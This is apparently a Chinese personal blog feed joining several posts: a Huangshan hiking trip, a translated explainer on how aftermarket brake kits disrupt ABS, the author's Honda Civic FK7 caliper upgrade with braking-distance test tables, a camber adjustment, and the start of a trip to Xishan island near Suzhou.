国家5A级旅游景区依照《旅游景区质量等级的划分与评定》国家标准(标准中对AAAAA级旅游景区提出了12项条件,即旅游交通、游览、旅游安全、卫生、邮电服务、旅游购物、经营管理、资源和环境的保护、旅游资源吸引力、市场吸引力、年接待游客量及游客抽样满意率),经“全国旅游景区质量等级评定委员会”组织评定,由中华人民共和国文化和旅游部发布。
在 https://banshi.whlyj.beijing.gov.cn/hygl/wenshu/%E6%97%85%E6%B8%B8%E6%99%AF%E5%8C%BA%E8%B4%A8%E9%87%8F%E7%AD%89%E7%BA%A7%E8%AF%84%E5%AE%9A%E4%B8%8E%E5%88%92%E5%88%86%E7%9A%84%E7%BB%86%E5%88%99.pdf 这里可以看到《旅游景区质量等级评定与划分》的评定细则,比较让我意外的是,这里面对于「带动当地社会就业」以及「通过国际互联网宣传」也有明确指标,甚至对于「建成数字虚拟景区」也是一个加分项(这就不得不想到 2010 年上海世博会的时候搞的一个很抽象的线上游世博的游戏了,记得安装包有 2.4G)


休息好了嘛?那我们继续!
从西海饭店出来,发现天气不错!

便开始往下山方向出发,我们再来引用一下这里的地图:

路线是:西海饭店 -> 排云楼宾馆 -> 飞来石 -> 光明顶山庄 -> 天海宾馆 -> 海心亭 -> 一线天 -> 莲花亭 -> 玉屏楼宾馆 -> 玉屏索道下山
虽然已经休息了一晚,小腿不再酸痛,但是一路上上下下对于膝盖依然是不小的考验

虽然路上也拍了些许照片,但是可能是由于有一些审美疲劳(不就是山山山么),兴致已经不如第一天高涨(要是这一天继续起雾估计就一张照片都不会拍了)

图为飞来石

视野绝佳的狙击圣地

云海?
在前往光明顶的路上我们聊聊运输,我们知道黄山有一只特别的队伍,被称为——挑夫/挑山工。
接近 20 年前第一次造访黄山时便可看到他们的身影,这 20 年后,依然存在。

进行了一番搜索,得到了如下信息(可靠度未知):
他们的工钱是按斤收费的,一斤八毛钱,为了挑一次能多赚些钱,他们基本上一次要挑一百多斤
基本都是汤口镇的居民
在黄山上我们已经可以不时看到无人机的身影,从官方的报道来看 https://www.dji.com/cn/newsroom/news/dji-flycart-30-in-mount-huangshan 我们可以得出目前挑山工队伍已经人数逐渐减少(但疑惑的是这近 20 年来居然没有减少到 0),且无人机似乎可以在这个场景下起到部分作用
作为国内山岳型景区典型代表的黄山风景区,为有效解决山地物资运输难题,率先利用大疆运载无人机开辟了无人机运输航线。据统计,目前单机单日最大运输量可达2000斤,累计运输各类物资达19.315万余斤,基本涵盖景区日常经营物资种类需求,有效缓解了山上山下物资运输压力。
每年4月到11月旅游旺季时,日均物资运输量(不含工程物资运输)可达15-20吨,12月到次年3月旅游淡季物资运输需求最多也将近10吨。据悉,黄山风景区目前主要运输物资分为两大块,上行物资补给以米、水、油、面、布草为主;下行运输主要以布草、垃圾运输为主,物资运输需求方主要为山上的酒店住所。
目前黄山景区物资运输主要以“索道+人力二次运输”为主——即山下物资通过索道运输到达索道上站,再通过人工运送到山上各宾馆酒店等。目前在大客流情况下不光物资二次搬运存在挑山工短缺、后继无人,一些建筑物料的运输或索道运输不便的物资,仍需要通过纯人力搬运的方式从山下运往山上。纯人力运输,肩运员必须依托游步道搬运,尤其在旅游高峰时段,共用游步道后,降低了游客的游览体验。此外,近年来由于年龄结构老化,加之愿意从事重体力劳动的青壮年日益减少,黄山肩运员人数大幅锐减,在无新生力量补充的情况下,人数严重不足,运输压力逐年加大。据悉,目前景区肩运员队伍平均年龄达57岁,而景区高峰期有300-400个肩运员,目前剩下不到130人,平均每年人数下降10%。

虽然从 DJI 官网对于 FC30 的参数 https://www.dji.com/cn/support/product/flycart-30 结合接近 10W CNY 的价格来看,我个人是有点怀疑这里作为主力运输的实际成本和可能性
那么问题来了,当我们在山上看到这些挑夫的辛劳时,我们的注意力应该是如下问题的中哪一个呢?
以及,他们的收入情况如何,如果收入情况不乐观,为什么他们上了年纪依然需要从事如此体力活?
从西海饭店走到光明顶,比想象中耗时更长,走的更累,到了光明顶之后是在黄山上的两天中看到人最多的地方,让我意识到所在景区当中

虽然这里人多,但还是一副老派旅游景区的模样,没有「我在黄山顶上很想你」的字样,没有各种奇怪的卖 xx 特色小吃的地方,只有简单的商店,和到处在休息的人,从西海饭店过来的路上经历了一路上上下下之后终于到达光明顶的时候,我内心想到的最贴切的画面是这样的:

Half-Life Hazardous Course 2 爬到楼顶之后的画面
说回光明顶:
光明顶是黄山的主峰之一。位于黄山中部,海拔1860米 [5],为黄山第二高峰,与天都峰、莲花峰并称黄山三大主峰。顶上平坦而高旷,可观东海奇景、西海群峰,炼丹、天都、莲花、玉屏、鳌鱼诸峰尽收眼底。


这是拍摄于 20 年前的照片

当时的光明顶周围还未如此开发

这是鳌鱼峰

这是 20 年前的鳌鱼峰

这是现在

这是 20 年前
沉睡的记忆,都回来了。
过了光明顶开始下山之后游客就开始变多,仿佛大家都是从前山上的(可能因为前一天山上有雾,后山上山的游客没有那么多)。
此时膝盖和小腿已经接近极限,无心观景,只想快速下山,只拍摄了些许照片:

这次爬一线天的人也特别多,考虑到安全因素+腿/膝盖实在不太行了,未能前往(下次或许一定)

经过一番走路(此处各种劳累按下不表),终于能看到下山索道和索道下站了。

坐上索道的时候感觉人终于放松了,不用继续走路了(当然,要是还能多做停留的话,或许休息两天之后再次从前山上山并去看看迎客松啥的或许也是可以接受的,就是个人感觉只是一颗普通的松树而已,不是特别值得一看)
迎客松,学名黄山松,位于安徽省黄山市黄山区黄山玉屏景区,地处海拔1680米处,倚青狮石破石而生,树高10.08米,树围2.24米,树龄约1000年。 [5]迎客松如同热情好客的主人展臂盛迎八方来客,以其矫健挺拔的神姿位列“黄山十大名松”之首,是黄山“五绝”之一,享有“国宝”和“天下第一松”的美誉;是安徽省的象征之一。 [1-4]
Wait, 树龄约1000年?那下次再去看看~

下山之后怒搓一顿徽味楼,便开始了黄山->上海的旅程。
回程路上在上高速前走很多风景优美的省道,不过由于太累了无心拍照并没有留下照片纪念,让我最印象深刻的是「东黄山旅游度假区」附近一条没有建成的索道下端点,从名字上看叫做「云谷索道下端」,看上去黄山试图解决南端汤口镇过于拥挤,所有游客必须从汤口(黄山南部)出发的单点问题,从 https://www.sohu.com/a/622643597_100249626 文章中也能看到一些信息:
云谷索道下半段项目是黄山东部开发的关键和核心,是连接黄山东大门与黄山主景区的重要交通纽带,也是安徽省2022年重点投资项目和“十四五”时期长三角一体化发展重点支持项目。项目总投资7.6亿元,选址于黄山风景区东北角和黄山区谭家桥镇,索道线路全长6638米,高差1197米,最大运量2100人/小时,计划2025年6月竣工。
晚上 2100 ,终于将 FK7 安全带回,这次黄山自驾旅到这里也就结束了,非常感谢你能看到这里,从文字+图片上和我一起进行了这段神奇的旅程。
那么,我们下次再见!
]]>属于是看着大家也不会改完之后严谨的测试 100-0 的距离就使劲忽悠咯?最后改完之后要么制动力比例大幅向前导致制动距离变长,要么就是导致 ABS 抽风导致制动距离变长,当然,换了卡钳之后可能由于各种原因(比如新的卡钳活塞更小,或者新换的刹车片摩擦系数更高等)给车主一个更加有力的 “前段” 体验,让车主感觉,嗯,这个卡钳改的好,刹车力这么强,制动距离肯定变短了的错觉。
有些车主奔着缩短制动距离(或者店家这么忽悠的)去换的刹车卡钳,然后一通操作反而制动距离变长了, 想想就是一个多么讽刺的事情。
不过苦于我不是车辆工程相关专业的人,所以只有一些基本的民科经验,从我自己的改造记录来看得到了一些不一定普适的结论,被我记录成了如下文章:
更换卡钳之后制动距离真的变长了——十代思域 AP9440 安装/测试记录
最近一个偶然的机会在 https://www.brakes-shop.com/brakepedia/bbk/abs-and-brake-kit-fundamentals 这里读到一篇对于小白挺友好的文章,在部分借助 ChatGPT 的情况下翻译成了中文,同时加入了部分本田维修手册中的内容以帮助读者理解,希望可以给想动刹车系统且有一定清醒头脑的人一点帮助,译文如下:
防抱死制动系统(ABS)、电子制动力分配(EBD)、车辆动态控制(VDC)、动态后比例分配(DRP)、电子稳定程序(ESP)——这些集成的底盘控制技术不断涌现,不仅仅是在豪华车上。也许我们应该花点时间退一步,看看这些系统的组成和它们的敏感性……在我们对汽车进行可能影响其性能的改动之前。
话虽如此,为了让我们在讨论这些技术时都在同一水平线上,有必要进行一些定义的介绍。这可能有点枯燥,但精彩内容只在一两页之后。
现代 ABS / TCS / ESP 的校准是一个复杂且耗时的过程,涉及设置或“调校”成千上万个算法变量。这些变量定义了基础车辆特性(包括制动系统)、控制限值以及车辆对控制活动的预期反应。因此,一个控制算法可能会在多个应用中使用,但每辆车都需要自己独特的变量集或表格。
在调校这些变量时,基础车辆动态响应是最重要的,从制动系统、悬挂系统和轮胎的角度来看。例如,调校和校准的 ABS 期望车辆对其控制信号有特定的反应。简单来说,如果 ABS 控制算法确定车辆的某个轮子需要减小制动压力,它会根据车轮端制动组件的压力-扭矩和/或压力-体积特性计算出激活压力释放电磁阀所需的时间。在校准系统时,开发工程师基本上需要一个一个地“教会” ABS 这些特性。对 TCS 和 ESP 重复此过程。
由于 ABS / TCS / ESP 使用“学习”逻辑来根据当前控制周期的活动修改下一个控制周期,任何用于“重新学习”这些特性的时间都会在控制周期中产生连锁反应,可能影响稳定性、可操控性和/或制动距离。简而言之,基础制动系统特性(硬件)的变化可能会影响 ABS / TCS / ESP 在这三个方面中的任何一个或全部。

在这里描述的四种技术中,EBD 可能是最容易定义的,但对基础车辆制动性能的影响可能最为广泛。虽然它不像 ABS、TCS 或 ESP 那样依赖变量,但由于基础制动硬件的变化而导致的任何“重新学习”车辆特性的时间都可能影响车辆在部分制动操作期间的制动系统平衡或偏差。

听起来像是很多重复,对吧?事实是,这四个控制系统的功能非常相似。当然,每种技术都有许多实现方式,技术供应商也有意这样做,但归根结底,我们处理的是底盘控制系统,它们:
现在,我们不再单独对每种技术进行下一步的讨论,而是看看四种技术中最常见的一种——ABS,看看仅仅对基础制动系统的改动如何对 ABS 性能造成完全的影响。一旦我们理解了 ABS 控制对上述项目的敏感性,其他三种技术也就迎刃而解了。开始吧。
为了最好地解释 ABS 如何“依赖”基础制动系统,让我们从处理算法的角度来看一个典型的 ABS 事件。
假设你在高速公路上以 75 英里/小时(当然,这可是限速内的哦)行驶,突然前面的卡车将天然泉水的货物撒在了所有三条车道上。这本身并不算太糟糕,除了水还封在 55 加仑的桶里——其中一个肯定会把你的车前脸一套全部干烂。是时候采取紧急措施了。
作为一个受过高速度训练的人,你立即松开油门,踩下离合器(你开的是手排车,对吧?),同时猛踩刹车……但在紧急情况下,你踩得有点太用力了。
同时,ABS 在旁边观察,看着世界飞快地过去,从它的四个车轮速度传感器那里看到一连串的 75 英里/小时信号。我们称之为“观察模式”。然而,当你踩下刹车时,ABS 立即警觉起来,天线竖起,准备行动。毕竟你刚刚踩了刹车,谁知道接下来会发生什么。
经过 50 毫秒(实际上更快——7 到 10 毫秒是典型值——但这样算起来更容易),ABS 再次拍摄车轮速度信息的快照,试图弄清楚发生了什么。这次,车轮速度传感器都报告了 74 英里/小时的速度。经过快速计算,ABS 确定在 50 毫秒内减速 1 英里/小时,车轮必须以 0.91g 的速度减速。因为你开的是一辆跑车,校准系统的工程师“教”了 ABS 你的车可以以这个速率减速,所以 ABS 继续观察。目前没有问题。
然而,接下来的 50 毫秒更有趣。这次,车轮报告的速度是 72.5 英里/小时。现在,这似乎不是一个大的跳跃,但在 50 毫秒的窗口内减速 1.5 英里/小时相当于 1.36g 的减速。这并不令人惊讶,但 ABS “知道”基于这个减速水平,车轮可能开始比应有的滑动更多一点——毕竟,你的车可能没有以 1.36g 的速度减速……任何两者之间的误差都表明滑动。
ABS 现在处于“准备模式”。可能还为时过早介入,因为车轮可能会在下一个 50 毫秒循环中自行加速,但情况肯定看起来不妙!
当第一桶泉水向左向右弹开,离你的车只有几英寸时,你继续踩着刹车,但用力更大。这次,左前车轮速度传感器显示 68 英里/小时——在过去的 50 毫秒内下降了 4.5 英里/小时,或 4.1g 的减速速度。比你快得多地进行数学计算(毕竟你正忙于躲避泉水桶),ABS 迅速得出结论,与此刻的左前车轮不同,车不可能以 4.1g 的速度减速。最好的情况是,在过去的 50 毫秒内,车以 1.0g(或接近)减速,所以“真实”的车速仍然在 71.5 英里/小时左右,尽管左前车轮速度显示为 68 英里/小时——误差为 3.5 英里/小时。
因此,基于 4.1g 的车轮减速、5% 的滑动水平(3.5 英里/小时 71.5 英里/小时)和其他一些未列出的因素,ABS 介入并进入“隔离模式”。(注意,车轮还远未接近“车轮完全抱死”——100% 滑动点。)ABS 首先关闭主缸到左前卡钳的液压管路,将驾驶员隔离开——毕竟,是驾驶员让我们陷入了这个困境。

接下来,ABS 开始在“泄压模式”下工作,释放左前卡钳的多余压力,以使左前车轮重新加速到车辆的实际速度——在这种情况下为 71.5 英里/小时。由于 ABS 知道车轮的减速速度(4.1g)、车的实际速度(71.5 英里/小时)以及左前卡钳/刹车片/刹车盘的压力-扭矩特性(我们稍后会回到这个问题),它可以精确计算打开释放阀的时间以排放多余的压力,留下足够的压力在卡钳中以保持 1.0g 的减速(或接近)。
假设计算出的时间为 10 毫秒(这使后面的数学计算更容易)。砰!阀门打开,压力释放,10 毫秒后关闭,留下刚好足够的压力在卡钳中,使车轮重新加速到正好 71.5 英里/小时,但继续以 1.0g 的速度减速。一切按计划进行。
是时候关闭循环并进入“增压模式”。一旦 ABS 看到左前车轮重新接近“真实”车速,它会慢慢重新施加主缸的压力,以确保使用最大可持续的制动力。为此,ABS 精确计算打开隔离阀的时间,慢慢在左前卡钳中建立压力,直到左前车轮再次开始滑动。它基于——你猜对了——车轮重新加速的速度、车的实际速度以及卡钳/刹车片/转子组件的压力-扭矩特性进行计算。
在我们假设的小世界中,ABS 计算出需要四次 5 毫秒的脉冲才能将车轮压力重新建立到车轮再次开始滑动的点,回到“隔离模式”。
这个循环在所有四个车轮上同时重复,直到驾驶员松开刹车踏板,或者直到车停下来。希望这不包括在 ABS 保持所有四个车轮滑动在 5%-10% 范围内时撞到一两个水桶,允许你尽情转向和躲避,因为桶从你的路径中弹开。快乐的车,快乐的驾驶员。
现在,让我们在相同的情景中增加一个变化:你刚从安装了梦寐以求的大刹车套件的地方回家。你知道,就是那个需要新的 18 英寸轮毂才能避开的 8 活塞卡钳和 16 英寸刹车盘的套件。在停车场里开车时,你简直不敢相信它们在踏板感觉和初段脚感方面的改进。这些东西在高速下一定能像锚一样把车停下来,对吧?
抵制住在快车道上以三位数速度行驶的诱惑,你再次发现自己在 75 英里/小时的泉水卡车后面。桶飞来飞去,你再次猛踩刹车,但这次你对新硬件能及时减速充满信心。此外,你现在知道 ABS 是如何工作的,所以你踩下踏板,确信你将拥有减速和可操控性。再好不过了。
像情景 1 一样,在最初的 50、100 和 150 毫秒后,ABS 拍摄车轮速度信息的快照,并记录左前车轮的 0.91g、1.36g 和 4.1g。再次 ABS 迅速得出结论,与此刻的左前车轮不同,车不可能以 4.1g 的速度减速。最好的情况是,在过去的 50 毫秒内,车以 1.0g(或接近)减速,所以“真实”的车速仍然在 71.5 英里/小时左右,尽管左前车轮速度显示为 68 英里/小时——误差为 3.5 英里/小时。到目前为止,一切都像上次一样。
然而,事情开始变得有趣。ABS 进入“隔离模式”,关闭主缸到左前卡钳的液压管路,将驾驶员隔离开。接下来,ABS 开始在“泄压模式”下工作,并再次计算出需要 10 毫秒的时间来释放左前卡钳的多余压力,以使左前车轮重新加速到车辆的实际速度——在这种情况下为 71.5 英里/小时。不幸的是,这个计算是基于标准车辆的左前卡钳/刹车片/刹车盘的压力-扭矩特性。让我们在桶滚得更近时简要谈谈这个问题。
当设计和安装制动系统时,选择的组件提供一定的减速水平,以驾驶员施加在刹车踏板上的一定力。虽然总体关系至关重要,但有许多方法可以实现相同的目标……但根本上,部件是作为一个系统一起工作的。
对于 ABS 工程师来说,最重要的关系之一是卡钳/刹车片/刹车盘的压力-扭矩(P-T)关系。简而言之,对于给定的制动液压力 X,卡钳/刹车片/刹车盘会产生一定量的扭矩 Y。为了讨论方便,让我们假设在我们的示例车辆中,增加 100 PSI 的制动压力会产生 100 英尺-磅的扭矩。
另一个重要关系是系统的压力-体积(P-V)特性。这一关系定义了制动系统在给定压力增加下的膨胀或扩展。让我们也假设我们的标准车辆制动系统每增加 100 PSI 会“膨胀” 1cc。
不幸的是,今天有几种大刹车系统不考虑原始车辆的 P-T 或 P-V 关系……事实上,许多系统故意在这些关系中进行重大改变,以给消费者“增加咬合力”的感觉。虽然好处是更坚固的踏板和相同踏板力下的更高部分制动减速,但代价可能是 ABS 的困惑。
注:关于这里的压力-体积特性,大伙可以参考 RedBlazeUltra 的 旧题新开,再聊刹车卡钳(文案) 中的内容。

所以,回到我们的例子——ABS 刚刚计算出需要 10 毫秒的压力减少脉冲来释放多余的压力,留下足够的压力在卡钳中以保持 1.0g 的减速(或接近)……但新的系统由于其减少的 P-V 特性(增加的刚度!)在相同的 10 毫秒窗口内释放的压力是标准系统的两倍(相当于标准系统 20 毫秒的脉冲)!当然,增加的 P-T 特性(更大的刹车盘)也没有帮助,因为现在从车轮上移除的扭矩是标准系统的三到四倍,只留下足够的扭矩以约 0.3g 的速度减速车轮。在 ABS 世界中,这被称为“减速孔”,感觉就像你瞬间松开了制动踏板。
现在,鉴于巨大的压力下降,ABS 迅速进入“增压模式”,试图纠正并将压力重新建立到接近车辆的最大可持续制动力。这需要时间,而时间等于失去的制动距离。
ABS 精确计算打开隔离阀的时间,确定需要四次 5 毫秒的脉冲,就像之前一样。然而,由于新的 P-T 和 P-V 特性,在仅仅两次脉冲后,车轮再次被迫进入滑动状态,使 ABS 感到困惑,不知道发生了什么。由于不期望车轮如此迅速地滑动,ABS 迅速释放压力以试图恢复,但刹车距离已经开始变长了。
注:我个人开过一些改装卡钳的车,在踩出 ABS 的时候车辆明显感觉有抽动感——在稳定踩住刹车踏板到底的时候车辆出现明显滑移(抱死的声音)后突然被松开一下然后又是滑移,可能和这里描述一致
这个循环在所有四个车轮上同时重复,直到驾驶员松开制动踏板,或者直到车停下来……但这次 ABS 总是落后一步。在某些情况下,ABS 对基础制动系统的适度变化具有强大的适应能力,但在极端情况下,可能会对车辆的可操控性(由于控制不良而增加的前轮滑动)产生显著的负面影响,并导致制动距离的增加(多次“补救”减少脉冲)。
因此,你及时停车或躲避一个弹跳的桶的机会减少了。在这个场景中,每一英寸都很重要,你确实需要每一英寸。
上述类比直接适用于 TCS / ESP / EBD 子系统,无一例外。像 ABS 一样,这三种技术在很大程度上依赖于原厂系统的 P-T 和 P-V 特性,任何变化都可能在制动、加速或动态操作中表现出来。
那么,所有的大刹车升级都会对你最喜欢的车上的底盘控制系统造成破坏吗?不一定。事实上,如果设计和选择得当,这些升级可以在提供这些套件所具有的所有冷却和热稳定性优势的同时,充分利用这些控制技术。
制动系统兼容性的“秘密”在于并没有什么秘密——只需要基本的工程专业知识和设计诀窍。
如前所述,今天市场上有太多的大刹车升级套件不考虑汽车原本的 P-T 或 P-V 特性。事实上,今天有些套件的 P-T 特性比它们所取代的原厂系统的输出增加了一倍以上——“200% 的制动能力”肯定比原厂好,对吧?
在大多数情况下,这些供应商采购大量的大刹车盘和红色卡钳,制造一个适配器支架将它们安装到各种不同的悬挂系统上,并将该套件作为“一刀切”的解决方案进行销售,而没有首先确定该系统是否与剩余的基础制动系统兼容,更不用说电子底盘控制了。当然,这样做快速、经济有效,并且通过你的 18 英寸刹车盘看起来价值百万,但最终性能如何呢?
]]>本文最后更新于 2024-09-09,更新了后轴换用 Dixcel Z 刹车片后的成绩
对于刹车的改装,如我的 Nova Kwok 的思域 FK7 改车笔记 一文,是我觉得对于整车影响很大的一个变化,所以我倾向于称为改装/改动而不是升级/优化/强化。

这次改动的列表如下:
首先我们回忆一下十代思域刹车的基本信息:
然后我们记录一下 CP9440 卡钳的一些重要信息:
所以根据以上信息我们得出以下推测:
由于后刹车在本次修改中没有动,所以这一次修改后车辆的刹车情况如下:
修改后可以预计到会导致制动力(Brake bias)分配靠前,于是我在更换前进行了测试。
为什么要额外提制动力分配,玩过 ACC/AC 的同学(尤其是 ACC)应该会对制动力分配有着非常敏感的认知(除非你是那个从来不看车辆 Setup 就直接开始猛冲的男人),以我最喜欢的 BMW M4 GT3 为例,车辆 Safety Preset 的制动力分配是 59%,Aggresive Preset 的制动力分配是 54% 左右,我们从 Safety Preset 开始仅仅将制动力分配从 59% 改为例如 52%,在赛道中即可明显感觉到入弯更加灵活(而不是猛推头)。
现在的车辆普遍带有 ABS + EBD(电子制动力分配),但是在我的实测中即使不同搭配的刹车片和刹车盘都会带来肉眼可见的制动距离变化,这里容我引用一下我自己的 Nova Kwok 的思域 FK7 改车笔记 中的记录:
注:这里多次测试并非同天测试,但都选择了同路面,温度接近且路面情况差不多的场景测试,建议作为定性参考而非定量比较。
可以看到第三个记录 「Dixcel Z 前刹车片(Dixcel FS 前刹车盘) + 原厂后刹车片」前面换成了高摩擦系数的刹车片和刹车盘,但是后轮制动力完全不变的情况下(相当于制动力分配非常靠前),做到了一个非常差的制动距离。
所以对于刹车系统的改动一定要仔细考虑制动力分配的问题,更换高摩擦系数的盘/片或者更大的刹车盘都会提升一个轴的制动力比例。
在更换 AP9440 前,刹车系统情况如下:
测试温度 34 度,油箱容量 2/3,后备箱中没有备胎(-9KG),但是有 27KG 的 AP9440 刹车套装(作为 BOP 🤣),温胎胎压 2.2(42度),测试流程如下:
胎面状态如下:

以上步骤循环六次,测试完成之后热胎胎压 2.4(63 度),成绩如下:


| 制动距离 | 前刹车盘温度 | 后刹车盘温度 |
|---|---|---|
| 33.42M | 144.3 | 忘了测了 |
| 32.70M | 218 | 忘了测了 |
| 31.79M | 257 | 忘了测了 |
| 33.71M | 273 | 183 |
| 32.85M | 330 | 208 |
| 34.35M | 333 | 221 |

开箱的过程总是非常快乐的,这里就主要放点照片了

由于我的暴力使用,前刹车盘拆除起来有点费力 🤣

新盘+合头上车:

这个卡钳上的弹簧片是让我最不爽的一点,感觉很容易导致拖刹或者在刹车片剩余不多的时候导致偏磨,但是问了一下安装的师傅表示如果不用这个弹簧片的话刹车片可能会往上浮(刹车片只有下半部分接触刹车盘)🤔,这里有待继续研究。

装车前后对比:

装了卡钳就开始爆踩容易导致钱包穿孔。
安装了卡钳之后就是磨合的过程了,虽然用的是竞技卡钳,这里我还是参考 AP 的 Road 的用法 Brake Disc Bedding Guide
For road car installations the process needs to be as follows:-
在已经完成了至少 300KM 的街道磨合以及较高负载的多次 110KM/h -> 50KM 磨合之后,感觉制动脚感已经逐渐稳定,挑了气温天气相仿的一天在同一个路段进行了测试,测试流程和更换前完全一致,且这一次额外测量了卡钳的温度,测试数据如下:

| 制动距离 | 前刹车盘温度 | 前卡钳温度 | 后刹车盘温度 |
|---|---|---|---|
| 35.25M | 110 | 81 | 115 |
| 35.44M | 124 | 93.5 | 131 |
| 35.14M | 137 | 112 | 141 |
| 34.79M | 171 | 119.3 | 161 |
| 34.37M | 168 | 127.7 | 175.5 |
| 34.69M | 198.9 | 137.2 | 174 |
| 35.30M | 188.9 | 141.6 | 176 |
2024-09-09 更新,后轴换成了摩擦系数很高的 Dixcel Z 刹车片之后在未完全磨合的情况下的测试:
| 制动距离 | 前刹车盘温度 | 前卡钳温度 | 后刹车盘温度 |
|---|---|---|---|
| 33.86M | 138 | 83 | 166 |
| 34.63M | 173 | 98.2 | 189 |
| 34.12M | 188.5 | 114.4 | 215 |
| 33.92M | 174.6 | 123.4 | 196 |
| 35.37M | - | - | - |
| 35.43M | - | - | - |
| 33.06M | 170.6 | 125.3 | 219 |
可以看到后轴由于 Dixcel Z 刹车片摩擦系数很高,升温快很多,而且制动距离已经从稳定的 35 米下降到了 34 米附近,倒数两次 35+M 由于选择的刹车地面情况不太好,车辆出现了弹跳和轮胎大幅锁死,成绩无效。
同时也发现在刹车片没有完全磨合的情况下制动距离不太稳定,还是得多磨合磨合之后再进行测试。
我们把原厂卡钳(前更换 Dixcel FS 刹车盘,前后 MX72 刹车片)的数据贴过来对比着看:
| 制动距离 | 前刹车盘温度 | 前卡钳温度 | 后刹车盘温度 |
|---|---|---|---|
| 33.42M | 144.3 | 忘了测了 | |
| 32.70M | 218 | 忘了测了 | |
| 31.79M | 257 | 忘了测了 | |
| 33.71M | 273 | 183 | |
| 32.85M | 330 | 208 | |
| 34.35M | 333 | 221 |
可以得出以下结论:

MX72 的摩擦系数为:
Average friction coefficient/0.37~0.47
对于制动分配的问题,我在考虑给后轮更换为摩擦系数更高的 Dixcel Z 刹车片看看是否会有缓解,Dixcel Z 刹车片标定摩擦系数如下:
Max. μ:0.67/Ave. μ:0.57/Min. μ:0.50
当然,这样的代价可能就是刹车的初段会变得更加不好细腻控制,或许能前轮找到一个摩擦系数特别低(比如 0.3~0.35)但是同样耐高温(标定至少得到 800 度)的刹车片是更优的选择。
我上传到了 Bilibili ,可以参考: https://www.bilibili.com/video/BV1smnZeUEKQ/
这个问题非常神奇,感觉和 Model 3 轮毂高度相关,之前使用 Dixcel FS 的时候也是遇到过这个声音(当时是激烈驾驶之后方向打到底的情况下会响,现在是热车后直线刹车等情况也会响)
目前除了更换轮毂以外还没有明确的解决思路。
2024-09-15 更新:定位到声音来源为螺帽和轮毂接触面以及轮毂和合头的接触面,在螺帽锥面以及轮毂法兰面上抹上了一些消音膏之后声音大幅缓解(只有很少的场景,比如冷车上车时会响一下)
![]()
![]()
在上文中我提到,在更换卡钳之前通过活塞面积的计算可以预测出更短的制动踏板行程,在更换完成之后确实也是符合预期。
换上了卡钳之后最明显的提升就是”坚硬的脚感“,如果你骑过带油碟的自行车/电动自行车的话就会很容易明白我想表达的意思,如果没有的话,那我尝试用文字描述一下:
原厂刹车系统+MX72 刹车片的情况下大约刹车踏板有 10% 的体感纯空行程(虚位),随后随着脚上用力变大,踏板行程越来越深,感觉脚上的压力在 80% 左右的位置开始指数级变大,然后触发 ABS,此时踏板行程可能是 85~90%。
更换了卡钳之后大概有 5% 的体感纯空行程,然后就能明显感觉到制动力开始线性增加,脚上会感觉踏板行程没有大幅变大,但是脚上的压力在线性变大,感觉像踩在了一块石头上,但是对着这个体感行程变化不大的石头逐渐用力会感觉到制动力逐渐提升,且提升幅度和脚上压力高度正相关,只要脚上用力稳定,踏板给到的反作用力可以帮助稳定踏板力,间接稳定制动力,持续施加制动力,直到 65~75% 左右的位置即达到轮胎锁死边缘,触发 ABS。
目前我没有使用任何油门增高块之类的东西,即使整个踏板行程变短了,体感对于跟趾动作几乎没有影响(而且由于踏板在行程变化不大的情况下反作用力稳定,所以跟趾稳定性反而更高了),这一点打消了在改动之前的疑虑。
我们总结一下,这一次改动中,获得的收益是:
同时引入了新的问题有:
以上,便是我对于十代思域 AP9440 安装/测试记录,希望可以给到和多年前的我一样同样在观望或者担心奇怪影响的车友一些思路和参考。


这对于不想额外增加设备想获得倾角的我来说喜出望外,增加了倾角可以有效增加劈弯时前轴抓地力,同时缓解因为换了 Model 3 轮毂+235/40/R18 轮胎之后在避震行程较大时磨到内衬的问题(见 「给思域 FK7 换上 Tesla Model 3 的轮毂」 一文)。
仔细研究了一下发现思域的塔顶并非直接螺丝孔,而是每个孔位的地方有一个小的槽可以用来调整塔顶上固定点的位置:

上图是已经拔去了导向销的状态(那个空洞),可以看到螺丝位有可调的空间。
看了一下维修手册上,也确实有针对这个的说法:

目前唯一的阻碍就是那个"导向销",说明书的说法是「仅用于工厂组装,拆卸后可报废」。
那就直接拆,这里我的做法是参考 YouTube: https://youtu.be/rJxNo1LufrU?si=MRnvXU2I8OYZK39T 的做法,直接用钳子夹住然后左右摇动,辅以锤子左右敲击,需要大力出奇迹,然后导向销就下来了:

拆除了导向销之后直接将避震顶端推到最内侧锁紧螺丝,理论获得了原厂塔顶给到的最大倾角。

详情可以参考: https://fk7.nova.moe/mod/suspension/
简单来说,使用了 ST X 避震,调节参数如下:
| 位置 | 数据 |
|---|---|
| 前轴 Measurement A (李子串紧固螺丝到避震弹簧和调节器交界处的距离) |
19cm (已经达到说明书上建议的 17cm-19cm 中最大值) |
| 前轴 Measurement B (轮毂中央到翼子板边缘距离) |
34cm |
| 前轴翼子板距离地面距离 |
65cm |
为了客观评价这个变化,在拆除导向销前后进行四轮定位测量数据



可以看到前轴的 Camber 从:
附上说明书四轮定位数据供参考:

可见这里即使车高降低了,顶部调整了倾角之后的增益依然不大,基本符合原厂维修手册的 19’ 的调整范围。
要大倾角还是得鱼眼塔顶哇(
以上,希望给有同样想法的同学一点参考。
]]>缥缈峰是江苏省苏州市西山的最高峰,位于西山岛西南部,海拔336.6米,为太湖七十二峰之首。可登顶瞭望太湖风光,从水月坞、涵村坞有盘山公路和步行道上山。
最近一个偶然的机会听到好友提起西山岛,便重新查阅了这个岛的信息:
西山全名为洞庭西山,古称包山,位于江苏省苏州市吴中区的太湖之中。面积达79.8平方公里,是中国最大的湖岛,现有中国内湖第一长桥——太湖大桥与西山之相连。岛上的缥缈峰海拔336.6米。
距离上海不是很远,单程大约 1.5hr 可达,甚至可以当天往返,便在某天上午睡醒之后,开启了这次说走就走的旅行。
由于 Civic Hatchback 是 Hatchback 结构,考虑到提前调研的岛上风光可能有傍晚环岛骑车兜风的环节,于是决定使用 C(ar)+B(ike) 的模式出门。

虽然实际上这一次自行车使用率为 0%
这次虽然带上了无人机,但是由于忘记带 GoPro,无人机和 GoPro 共用一张存储卡,所以这次 GoPro 没拍成,无人机也没飞到 🫠
上岛前的第一站便是凤凰台,不过这里已经被人盘下开启了一个店,虽然院子门口写着商业区域游客请勿入内,但是还是本着——来了我可以是游客也可以是客户的心态直接冲了进来。

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD
面朝渔阳山景区可以看到来来往往的车辆

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

SONY ILCE-7M3 + Tamron 28-200mm F/2.8-5.6 Di III RXD

